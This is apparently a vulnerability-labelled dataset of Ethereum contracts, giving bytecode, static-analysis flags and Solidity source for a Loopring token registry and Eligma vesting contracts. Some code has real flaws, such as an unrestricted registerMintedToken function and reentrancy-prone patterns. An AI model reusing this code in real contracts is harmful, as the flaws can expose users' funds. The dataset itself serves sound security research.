565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111aa57506001600160a01b03831660009081526005602052604090205460ff165b806111dc57506016546001600160a01b038581169116148015906111dc57506016546001600160a01b03848116911614155b156111e957506000611263565b6016546001600160a01b03858116911614801561121457506015546001600160a01b03848116911614155b1561122657600954600d55600a54600e555b6016546001600160a01b03848116911614801561125157506015546001600160a01b03858116911614155b1561126357600b54600d55600c54600e555b610a7984848484611557565b600081848411156112935760405162461bcd60e51b81526004016106109190611cb1565b5060006112a08486611e00565b95945050505050565b6013546001600160a01b03166108fc6112c3836002611585565b6040518115909202916000818181858888f193505050501580156112eb573d6000803e3d6000fd5b506014546001600160a01b03166108fc611306836002611585565b6040518115909202916000818181858888f1935050505015801561068f573d6000803e3d6000fd5b60006006548211156113955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610610565b600061139f6115c7565b90506113ab8382611585565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061140857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561145c57600080fd5b505afa158015611470573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114949190611a49565b816001815181106114b557634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546114db9130911684610b98565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611514908590600090869030904290600401611d39565b600060405180830381600087803b15801561152e57600080fd5b505af1158015611542573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611564576115646115ea565b61156f848484611618565b80610a7957610a79600f54600d55601054600e55565b60006113ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170f565b60008060006115d461173d565b90925090506115e38282611585565b9250505090565b600d541580156115fa5750600e54155b1561160157565b600d8054600f55600e805460105560009182905555565b60008060008060008061162a8761177d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165c90876117da565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461168b908661181c565b6001600160a01b0389166000908152600260205260409020556116ad8161187b565b6116b784836118c5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116fc91815260200190565b60405180910390a3505050505050505050565b600081836117305760405162461bcd60e51b81526004016106109190611cb1565b5060006112a08486611dc1565b6006546000908190670de0b6b3a76400006117588282611585565b82101561177457505060065492670de0b6b3a764000092509050565b90939092509050565b600080600080600080600080600061179a8a600d54600e546118e9565b92509250925060006117aa6115c7565b905060008060006117bd8e87878761193e565b919e509c509a509598509396509194505050505091939550919395565b60006113ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061126f565b6000806118298385611da9565b9050838110156113ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610610565b60006118856115c7565b90506000611893838361198e565b306000908152600260205260409020549091506118b0908261181c565b30600090815260026020526040902055505050565b6006546118d290836117da565b6006556007546118e2908261181c565b6007555050565b600080808061190360646118fd898961198e565b90611585565b9050600061191660646118fd8a8961198e565b9050600061192e826119288b866117da565b906117da565b9992985090965090945050505050565b600080808061194d888661198e565b9050600061195b888761198e565b90506000611969888861198e565b9050600061197b8261192886866117da565b939b939a50919850919650505050505050565b60008261199d575060006106a4565b60006119a98385611de1565b9050826119b68583611dc1565b146113ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610610565b8035611a1881611e5e565b919050565b80358015158114611a1857600080fd5b600060208284031215611a3e578081fd5b81356113ab81611e5e565b600060208284031215611a5a578081fd5b81516113ab81611e5e565b60008060408385031215611a77578081fd5b8235611a8281611e5e565b91506020830135611a9281611e5e565b809150509250929050565b600080600060608486031215611ab1578081fd5b8335611abc81611e5e565b92506020840135611acc81611e5e565b929592945050506040919091013590565b60008060408385031215611aef578182fd5b8235611afa81611e5e565b946020939093013593505050565b600080600060408486031215611b1c578283fd5b833567ffffffffffffffff80821115611b33578485fd5b818601915086601f830112611b46578485fd5b813581811115611b54578586fd5b8760208260051b8501011115611b68578586fd5b602092830195509350611b7e9186019050611a1d565b90509250925092565b60006020808385031215611b99578182fd5b823567ffffffffffffffff80821115611bb0578384fd5b818501915085601f830112611bc3578384fd5b813581811115611bd557611bd5611e48565b8060051b604051601f19603f83011681018181108582111715611bfa57611bfa611e48565b604052828152858101935084860182860187018a1015611c18578788fd5b8795505b83861015611c4157611c2d81611a0d565b855260019590950194938601938601611c1c565b5098975050505050505050565b600060208284031215611c5f578081fd5b6113ab82611a1d565b600060208284031215611c79578081fd5b5035919050565b60008060008060808587031215611c95578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611cdd57858101830151858201604001528201611cc1565b81811115611cee5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d885784516001600160a01b031683529383019391830191600101611d63565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611dbc57611dbc611e32565b500190565b600082611ddc57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611dfb57611dfb611e32565b500290565b600082821015611e1257611e12611e32565b500390565b6000600019821415611e2b57611e2b611e32565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ee57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c3e0bae1b7fe8868f357db6ba3f7f4677a0211865cac27e1256bf7237c38ff864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,902 |
0x004def62c71992615cf22786d0b7efb22850df4a
|
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.4.21;
/// @title Utility Functions for address
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="82e6e3ecebe7eec2eeededf2f0ebece5acedf0e5">[email protected]</a>>
library AddressUtil {
function isContract(
address addr
)
internal
view
returns (bool)
{
if (addr == 0x0) {
return false;
} else {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title Ownable
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev The Ownable constructor sets the original `owner` of the contract
/// to the sender.
function Ownable()
public
{
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
/// @dev Allows the current owner to transfer control of the contract to a
/// newOwner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
onlyOwner
public
{
require(newOwner != 0x0);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/// @title Claimable
/// @dev Extension for the Ownable contract, where the ownership needs
/// to be claimed. This allows the new owner to accept the transfer.
contract Claimable is Ownable {
address public pendingOwner;
/// @dev Modifier throws if called by any account other than the pendingOwner.
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/// @dev Allows the current owner to set the pendingOwner address.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
onlyOwner
public
{
require(newOwner != 0x0 && newOwner != owner);
pendingOwner = newOwner;
}
/// @dev Allows the pendingOwner address to finalize the transfer.
function claimOwnership()
onlyPendingOwner
public
{
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = 0x0;
}
}
/*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/// @title Token Register Contract
/// @dev This contract maintains a list of tokens the Protocol supports.
/// @author Kongliang Zhong - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="4c2723222b20252d222b0c2023233c3e25222b62233e2b">[email protected]</a>>,
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1470757a7d717854787b7b64667d7a733a7b6673">[email protected]</a>>.
contract TokenRegistry {
event TokenRegistered(address addr, string symbol);
event TokenUnregistered(address addr, string symbol);
function registerToken(
address addr,
string symbol
)
external;
function registerMintedToken(
address addr,
string symbol
)
external;
function unregisterToken(
address addr,
string symbol
)
external;
function areAllTokensRegistered(
address[] addressList
)
external
view
returns (bool);
function getAddressBySymbol(
string symbol
)
external
view
returns (address);
function isTokenRegisteredBySymbol(
string symbol
)
public
view
returns (bool);
function isTokenRegistered(
address addr
)
public
view
returns (bool);
function getTokens(
uint start,
uint count
)
public
view
returns (address[] addressList);
}
/// @title An Implementation of TokenRegistry.
/// @author Kongliang Zhong - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="5c3733323b30353d323b1c3033332c2e35323b72332e3b">[email protected]</a>>,
/// @author Daniel Wang - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f397929d9a969fb39f9c9c83819a9d94dd9c8194">[email protected]</a>>.
contract TokenRegistryImpl is TokenRegistry, Claimable {
using AddressUtil for address;
address[] public addresses;
mapping (address => TokenInfo) addressMap;
mapping (string => address) symbolMap;
struct TokenInfo {
uint pos; // 0 mens unregistered; if > 0, pos + 1 is the
// token's position in `addresses`.
string symbol; // Symbol of the token
}
/// @dev Disable default function.
function ()
payable
public
{
revert();
}
function registerToken(
address addr,
string symbol
)
external
onlyOwner
{
registerTokenInternal(addr, symbol);
}
function registerMintedToken(
address addr,
string symbol
)
external
{
registerTokenInternal(addr, symbol);
}
function unregisterToken(
address addr,
string symbol
)
external
onlyOwner
{
require(addr != 0x0);
require(symbolMap[symbol] == addr);
delete symbolMap[symbol];
uint pos = addressMap[addr].pos;
require(pos != 0);
delete addressMap[addr];
// We will replace the token we need to unregister with the last token
// Only the pos of the last token will need to be updated
address lastToken = addresses[addresses.length - 1];
// Don't do anything if the last token is the one we want to delete
if (addr != lastToken) {
// Swap with the last token and update the pos
addresses[pos - 1] = lastToken;
addressMap[lastToken].pos = pos;
}
addresses.length--;
emit TokenUnregistered(addr, symbol);
}
function areAllTokensRegistered(
address[] addressList
)
external
view
returns (bool)
{
for (uint i = 0; i < addressList.length; i++) {
if (addressMap[addressList[i]].pos == 0) {
return false;
}
}
return true;
}
function getAddressBySymbol(
string symbol
)
external
view
returns (address)
{
return symbolMap[symbol];
}
function isTokenRegisteredBySymbol(
string symbol
)
public
view
returns (bool)
{
return symbolMap[symbol] != 0x0;
}
function isTokenRegistered(
address addr
)
public
view
returns (bool)
{
return addressMap[addr].pos != 0;
}
function getTokens(
uint start,
uint count
)
public
view
returns (address[] addressList)
{
uint num = addresses.length;
if (start >= num) {
return;
}
uint end = start + count;
if (end > num) {
end = num;
}
if (start == num) {
return;
}
addressList = new address[](end - start);
for (uint i = start; i < end; i++) {
addressList[i - start] = addresses[i];
}
}
function registerTokenInternal(
address addr,
string symbol
)
internal
{
require(0x0 != addr);
require(bytes(symbol).length > 0);
require(0x0 == symbolMap[symbol]);
require(0 == addressMap[addr].pos);
addresses.push(addr);
symbolMap[symbol] = addr;
addressMap[addr] = TokenInfo(addresses.length, symbol);
emit TokenRegistered(addr, symbol);
}
}
|
0x6060604052600436106100c45763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630b03ad1181146100c95780630b9b8130146100f65780631605dd611461012157806316066e691461015b57806326aa101f1461018d578063494cfc6c146101ac5780634e71e0c8146102185780638da5cb5b1461022b578063d4fbeb191461023e578063e30c397814610269578063edf26d9b1461027c578063f2fde38b14610292578063fcd45807146102b1575b600080fd5b34156100d457600080fd5b6100f460048035600160a060020a03169060248035908101910135610302565b005b341561010157600080fd5b6100f460048035600160a060020a03169060248035908101910135610513565b341561012c57600080fd5b61013f6004803560248101910135610551565b604051600160a060020a03909116815260200160405180910390f35b341561016657600080fd5b610179600480356024810191013561058a565b604051901515815260200160405180910390f35b341561019857600080fd5b610179600160a060020a03600435166105ff565b34156101b757600080fd5b6101c560043560243561061c565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156102045780820151838201526020016101ec565b505050509050019250505060405180910390f35b341561022357600080fd5b6100f46106dc565b341561023657600080fd5b61013f61076a565b341561024957600080fd5b6100f460048035600160a060020a03169060248035908101910135610779565b341561027457600080fd5b61013f610794565b341561028757600080fd5b61013f6004356107a3565b341561029d57600080fd5b6100f4600160a060020a03600435166107cb565b34156102bc57600080fd5b61017960046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061084695505050505050565b60008054819033600160a060020a0390811691161461032057600080fd5b600160a060020a038516151561033557600080fd5b84600160a060020a0316600485856040518083838082843782019150509250505090815260200160405190819003902054600160a060020a03161461037957600080fd5b6004848460405180838380828437820191505092505050908152602001604051908190039020805473ffffffffffffffffffffffffffffffffffffffff19169055600160a060020a03851660009081526003602052604090205491508115156103e157600080fd5b600160a060020a03851660009081526003602052604081208181559061040a6001830182610b53565b505060028054600019810190811061041e57fe5b600091825260209091200154600160a060020a03908116915085168114610499578060026001840381548110151561045257fe5b6000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0394851617905591831681526003909152604090208290555b60028054906104ac906000198301610b9a565b507fee98311a96660ce4ab10cd82053f767653901305ec8acf91ec60311de919e28a858585604051600160a060020a038416815260406020820181815290820183905260608201848480828437820191505094505050505060405180910390a15050505050565b61054c8383838080601f0160208091040260200160405190810160405281815292919060208401838380828437506108c0945050505050565b505050565b6000600483836040518083838082843782019150509250505090815260200160405190819003902054600160a060020a03169392505050565b6000805b828110156105f357600360008585848181106105a657fe5b90506020020135600160a060020a0316600160a060020a0316600160a060020a0316815260200190815260200160002060000154600014156105eb57600091506105f8565b60010161058e565b600191505b5092915050565b600160a060020a0316600090815260036020526040902054151590565b610624610bbe565b600254600080828610610636576106d3565b848601915082821115610647578291505b82861415610654576106d3565b8582036040518059106106645750595b908082528060200260200182016040525093508590505b818110156106d357600280548290811061069157fe5b600091825260209091200154600160a060020a031684878303815181106106b457fe5b600160a060020a0390921660209283029091019091015260010161067b565b50505092915050565b60015433600160a060020a039081169116146106f757600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031681565b60005433600160a060020a0390811691161461051357600080fd5b600154600160a060020a031681565b60028054829081106107b157fe5b600091825260209091200154600160a060020a0316905081565b60005433600160a060020a039081169116146107e657600080fd5b600160a060020a0381161580159061080c5750600054600160a060020a03828116911614155b151561081757600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60006004826040518082805190602001908083835b6020831061087a5780518252601f19909201916020918201910161085b565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405190819003902054600160a060020a0316151592915050565b600160a060020a03821615156108d557600080fd5b60008151116108e357600080fd5b6004816040518082805190602001908083835b602083106109155780518252601f1990920191602091820191016108f6565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405190819003902054600160a060020a03161561095d57600080fd5b600160a060020a0382166000908152600360205260409020541561098057600080fd5b60028054600181016109928382610b9a565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038416179055816004826040518082805190602001908083835b602083106109f75780518252601f1990920191602091820191016109d8565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051908190039020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905560408051908101604090815260025482526020808301849052600160a060020a038516600090815260039091522081518155602082015181600101908051610aa2929160200190610bd0565b509050507faaed15520cc86e95b7c2522d968096283afbef7858bdf194b2f60d28a1a8d63e8282604051600160a060020a038316815260406020820181815290820183818151815260200191508051906020019080838360005b83811015610b14578082015183820152602001610afc565b50505050905090810190601f168015610b415780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b50805460018160011615610100020316600290046000825580601f10610b795750610b97565b601f016020900490600052602060002090810190610b979190610c4e565b50565b81548183558181151161054c5760008381526020902061054c918101908301610c4e565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610c1157805160ff1916838001178555610c3e565b82800160010185558215610c3e579182015b82811115610c3e578251825591602001919060010190610c23565b50610c4a929150610c4e565b5090565b610c6891905b80821115610c4a5760008155600101610c54565b905600a165627a7a723058205f87b443ecc6d4d026d8f99d488dd00a325db34800dc1ed652d3028a9003c0e90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,903 |
0x4ecb7e25fa43d4277e0fa3b2e5f5755275983411
|
pragma solidity ^0.4.21;
contract Owned {
address public owner;
address public newOwner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
event OwnerUpdate(address _prevOwner, address _newOwner);
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20TokenInterface {
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface TokenVestingInterface {
function getReleasableFunds() public view returns(uint256);
function release() public ;
function setWithdrawalAddress(address _newAddress) external;
function revoke(string _reason) public;
function getTokenBalance() public constant returns(uint256);
function updateBalanceOnFunding(uint256 _amount) external;
function salvageOtherTokensFromContract(address _tokenAddress, address _to, uint _amount) external;
}
interface VestingMasterInterface{
function amountLockedInVestings() view public returns (uint256);
function substractLockedAmount(uint256 _amount) external;
function addLockedAmount(uint256 _amount) external;
function addInternalBalance(uint256 _amount) external;
}
contract TokenVestingContract is Owned {
using SafeMath for uint256;
address public beneficiary;
address public tokenAddress;
uint256 public startTime;
uint256 public tickDuration;
uint256 public amountPerTick;
uint256 public version;
bool public revocable;
uint256 public alreadyReleasedAmount;
bool public revoked;
uint256 public internalBalance;
event Released(uint256 amount);
event RevokedAndDestroyed(string reason);
event WithdrawalAddressSet(address _newAddress);
event TokensReceivedSinceLastCheck(uint256 amount);
event VestingReceivedFunding(uint256 amount);
function TokenVestingContract(address _beneficiary,
address _tokenAddress,
uint256 _startTime,
uint256 _tickDuration,
uint256 _amountPerTick,
uint256 _version,
bool _revocable
)public onlyOwner{
beneficiary = _beneficiary;
tokenAddress = _tokenAddress;
startTime = _startTime;
tickDuration = _tickDuration;
amountPerTick = _amountPerTick;
version = _version;
revocable = _revocable;
alreadyReleasedAmount = 0;
revoked = false;
internalBalance = 0;
}
function getReleasableFunds() public view returns(uint256){
uint256 balance = ERC20TokenInterface(tokenAddress).balanceOf(address(this));
if (balance == 0 || (startTime >= now)){
return 0;
}
uint256 vestingScheduleAmount = (now.sub(startTime) / tickDuration) * amountPerTick;
uint256 releasableFunds = vestingScheduleAmount.sub(alreadyReleasedAmount);
if(releasableFunds > balance){
releasableFunds = balance;
}
return releasableFunds;
}
function setWithdrawalAddress(address _newAddress) public onlyOwner {
beneficiary = _newAddress;
emit WithdrawalAddressSet(_newAddress);
}
function release() public returns(uint256 transferedAmount) {
checkForReceivedTokens();
require(msg.sender == beneficiary);
uint256 amountToTransfer = getReleasableFunds();
require(amountToTransfer > 0);
alreadyReleasedAmount = alreadyReleasedAmount.add(amountToTransfer);
internalBalance = internalBalance.sub(amountToTransfer);
VestingMasterInterface(owner).substractLockedAmount(amountToTransfer);
ERC20TokenInterface(tokenAddress).transfer(beneficiary, amountToTransfer);
emit Released(amountToTransfer);
return amountToTransfer;
}
function revoke(string _reason) external onlyOwner {
require(revocable);
uint256 releasableFunds = getReleasableFunds();
ERC20TokenInterface(tokenAddress).transfer(beneficiary, releasableFunds);
VestingMasterInterface(owner).substractLockedAmount(releasableFunds);
VestingMasterInterface(owner).addInternalBalance(getTokenBalance());
ERC20TokenInterface(tokenAddress).transfer(owner, getTokenBalance());
emit RevokedAndDestroyed(_reason);
selfdestruct(owner);
}
function getTokenBalance() public view returns(uint256 tokenBalance) {
return ERC20TokenInterface(tokenAddress).balanceOf(address(this));
}
function updateBalanceOnFunding(uint256 _amount) external onlyOwner{
internalBalance = internalBalance.add(_amount);
emit VestingReceivedFunding(_amount);
}
function checkForReceivedTokens() public{
if (getTokenBalance() != internalBalance){
uint256 receivedFunds = getTokenBalance().sub(internalBalance);
internalBalance = getTokenBalance();
VestingMasterInterface(owner).addLockedAmount(receivedFunds);
emit TokensReceivedSinceLastCheck(receivedFunds);
}
}
function salvageOtherTokensFromContract(address _tokenAddress, address _to, uint _amount) external onlyOwner {
require(_tokenAddress != tokenAddress);
ERC20TokenInterface(_tokenAddress).transfer(_to, _amount);
}
}
contract VestingMasterContract is Owned {
using SafeMath for uint256;
address public constant tokenAddress = 0xc7C03B8a3FC5719066E185ea616e87B88eba44a3;
uint256 public internalBalance = 0;
uint256 public amountLockedInVestings = 0;
struct VestingStruct{
uint256 arrayPointer;
string vestingType;
uint256 version;
}
address[] public vestingAddresses;
mapping (address => VestingStruct) public addressToVesting;
event VestingContractFunded(address beneficiary, address tokenAddress, uint256 amount);
event LockedAmountDecreased(uint256 amount);
event LockedAmountIncreased(uint256 amount);
event TokensReceivedSinceLastCheck(uint256 amount);
function vestingExists(address _vestingAddress) public view returns(bool exists){
if(vestingAddresses.length == 0) {return false;}
return (vestingAddresses[addressToVesting[_vestingAddress].arrayPointer] == _vestingAddress);
}
function storeNewVesting(address _vestingAddress, string _vestingType, uint256 _version) public onlyOwner returns(uint256 vestingsLength) {
require(!vestingExists(_vestingAddress));
addressToVesting[_vestingAddress].version = _version;
addressToVesting[_vestingAddress].vestingType = _vestingType ;
addressToVesting[_vestingAddress].arrayPointer = vestingAddresses.push(_vestingAddress) - 1;
return vestingAddresses.length;
}
function deleteVestingFromStorage(address _vestingAddress) public onlyOwner returns(uint256 vestingsLength) {
require(vestingExists(_vestingAddress));
uint256 indexToDelete = addressToVesting[_vestingAddress].arrayPointer;
address keyToMove = vestingAddresses[vestingAddresses.length - 1];
vestingAddresses[indexToDelete] = keyToMove;
addressToVesting[keyToMove].arrayPointer = indexToDelete;
vestingAddresses.length--;
return vestingAddresses.length;
}
function createNewVesting(
address _beneficiary,
uint256 _startTime,
uint256 _tickDuration,
uint256 _amountPerTick,
string _vestingType,
uint256 _version,
bool _revocable
)
public onlyOwner returns(address){
TokenVestingContract newVesting = new TokenVestingContract(
_beneficiary,
tokenAddress,
_startTime,
_tickDuration,
_amountPerTick,
_version,
_revocable
);
storeNewVesting(newVesting, _vestingType, _version);
return newVesting;
}
function fundVesting(address _vestingContract, uint256 _amount) public onlyOwner {
checkForReceivedTokens();
require((internalBalance >= _amount) && (getTokenBalance() >= _amount));
require(vestingExists(_vestingContract));
internalBalance = internalBalance.sub(_amount);
ERC20TokenInterface(tokenAddress).transfer(_vestingContract, _amount);
TokenVestingInterface(_vestingContract).updateBalanceOnFunding(_amount);
emit VestingContractFunded(_vestingContract, tokenAddress, _amount);
}
function getTokenBalance() public constant returns(uint256) {
return ERC20TokenInterface(tokenAddress).balanceOf(address(this));
}
function revokeVesting(address _vestingContract, string _reason) public onlyOwner{
TokenVestingInterface subVestingContract = TokenVestingInterface(_vestingContract);
subVestingContract.revoke(_reason);
deleteVestingFromStorage(_vestingContract);
}
function addInternalBalance(uint256 _amount) external {
require(vestingExists(msg.sender));
internalBalance = internalBalance.add(_amount);
}
function addLockedAmount(uint256 _amount) external {
require(vestingExists(msg.sender));
amountLockedInVestings = amountLockedInVestings.add(_amount);
emit LockedAmountIncreased(_amount);
}
function substractLockedAmount(uint256 _amount) external {
require(vestingExists(msg.sender));
amountLockedInVestings = amountLockedInVestings.sub(_amount);
emit LockedAmountDecreased(_amount);
}
function checkForReceivedTokens() public{
if (getTokenBalance() != internalBalance){
uint256 receivedFunds = getTokenBalance().sub(internalBalance);
amountLockedInVestings = amountLockedInVestings.add(receivedFunds);
internalBalance = getTokenBalance();
emit TokensReceivedSinceLastCheck(receivedFunds);
}else{
emit TokensReceivedSinceLastCheck(0);
}
}
function salvageOtherTokensFromContract(address _tokenAddress, address _contractAddress, address _to, uint _amount) public onlyOwner {
require(_tokenAddress != tokenAddress);
if (_contractAddress == address(this)){
ERC20TokenInterface(_tokenAddress).transfer(_to, _amount);
}
if (vestingExists(_contractAddress)){
TokenVestingInterface(_contractAddress).salvageOtherTokensFromContract(_tokenAddress, _to, _amount);
}
}
function killContract() public onlyOwner{
require(vestingAddresses.length == 0);
ERC20TokenInterface(tokenAddress).transfer(owner, getTokenBalance());
selfdestruct(owner);
}
function setWithdrawalAddress(address _vestingContract, address _beneficiary) public onlyOwner{
require(vestingExists(_vestingContract));
TokenVestingInterface(_vestingContract).setWithdrawalAddress(_beneficiary);
}
}
contract EligmaSupplyContract is Owned {
address public tokenAddress;
address public vestingMasterAddress;
function EligmaSupplyContract(address _tokenAddress, address _vestingMasterAddress) public onlyOwner{
tokenAddress = _tokenAddress;
vestingMasterAddress = _vestingMasterAddress;
}
function totalSupply() view public returns(uint256) {
return ERC20TokenInterface(tokenAddress).totalSupply();
}
function lockedSupply() view public returns(uint256) {
return VestingMasterInterface(vestingMasterAddress).amountLockedInVestings();
}
function avaliableSupply() view public returns(uint256) {
return ERC20TokenInterface(tokenAddress).totalSupply() - VestingMasterInterface(vestingMasterAddress).amountLockedInVestings();
}
function setTokenAddress(address _tokenAddress) onlyOwner public {
tokenAddress = _tokenAddress;
}
function setVestingMasterAddress(address _vestingMasterAddress) onlyOwner public {
vestingMasterAddress = _vestingMasterAddress;
}
}
|
